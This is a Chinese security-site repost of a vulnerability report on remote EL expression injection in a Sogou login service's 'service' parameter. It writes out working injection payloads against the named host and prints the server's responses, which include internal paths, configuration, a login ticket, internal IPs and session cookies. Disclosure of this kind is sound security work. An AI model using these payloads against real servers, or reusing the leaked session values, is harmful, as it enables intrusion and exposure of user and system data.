神刀安全网

搜狗某系统存在远程EL表达式注入漏洞(命令执行)

#1 漏洞地址

https://auth.p4p.sogou.com/login?service=${1000-900}
https://auth.p4p.sogou.com/login?service=${pageContext}
action="[email protected]

" method="post">

#2 表达式执行后的结果返回在页面

搜狗某系统存在远程EL表达式注入漏洞(命令执行)

获取web路径

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

file:/opt/local/resin/

https://auth.p4p.sogou.com/login?service=${requestScope}
{javax.servlet.jsp.jstl.fmt.locale=zh_CN, org.springframework.validation.BindingResult.credentials=org.springframework.webflow.mvc.view.BindingModel: 0 errors, flashScope=map[[empty]], flowExecutionUrl=/login?service=%5BLjava.lang.String%3B%40660b2cde, warnCookieValue=false, javax.servlet.forward.servlet_path=/login, org.springframework.web.servlet.support.RequestContext.CONTEXT=Flow ApplicationContext [login]: startup date [Tue Apr 12 21:38:02 CST 2016]; parent: WebApplicationContext for namespace 'eunomia-servlet', org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, caucho.forward=true, javax.servlet.forward.request_uri=/login, javax.servlet.forward.query_string=service=${requestScope}, loginTicket=LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m, javax.servlet.forward.context_path=, phoneValidationModel=com.sogou.bizdev.eunomia.validation.phone.Ph[email protected]

,[email protected][Attributes={}, targetRequestPath=null, targetRequestParams={}], flowRequestContext=[[email protected] externalContext =[email protected]9d, currentEvent = viewAcountLogin, requestScope = map[[empty]], attributes = map[[empty]], messageContext = [[email protected] sourceMessages = map[[null] -> list[[empty]]]], flowExecution = [[email protected] flow = 'login', flowSessions = list[[[email protected] flow = 'login', state = 'accountViewLoginForm', scope = map['phoneValidationModel' ->[email protected]a91c3c, 'loginTicket' -> 'LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m', 'service' -> ${requestScope}, 'credentials' -> [username: null], 'warnCookieValue' -> false, 'ticketGrantingTicketId' -> [null], 'viewScope' -> map['commandName' -> 'credentials']]]]]], viewScope=map['commandName' -> 'credentials'], javax.servlet.jsp.jstl.fmt.localizationContext=org.springframewor[email protected], [email protected] [email protected]ae, org.springframework.web.servlet.DispatcherServlet.CONTEXT=WebApplicationContext for namespace 'eunomia-servlet': startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER=[email protected], flowExecutionKey=e110s1, service=${requestScope}, commandName=credentials, encodingFilter.FILTERED=true, credentials=[username: null]}

https://auth.p4p.sogou.com/login?service=${header}
{Upgrade-Insecure-Requests=1, Accept-Language=zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4, Cookie=SUV=1446734204911570; IPLOC=CN4401; SUID=BA5782774FC80D0A00000000563B6987; pgv_pvi=3484909568; sct=4; LSTMV=703%2C260; LCLKINT=108193; CXID=5CE9FE68778002DCEC30C2A9412EBA10; GOTO=; ad=3wENElllll2Q7p51lllllVtpqM7lllllNcJUWlllll9lllllxTDll5@@@@@@@@@@; _euid=75841017-9d86-4069-9421-d077bd8489ef; JSESSIONID=abcN1iKReDhPacJcOLoqv; session_id_agent_crm=8a089ef7-44bf-493b-81bc-45a327cf03ec, Host=auth.p4p.sogou.com, PROXY_ADDR=10.149.29.104, Accept-Encoding=gzip, deflate, sdch, X-Real-IP=119.130.85.119, X-Forwarded-For=*******, User-Agent=, Connection=close, Accept=text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8}

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 搜狗某系统存在远程EL表达式注入漏洞(命令执行)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址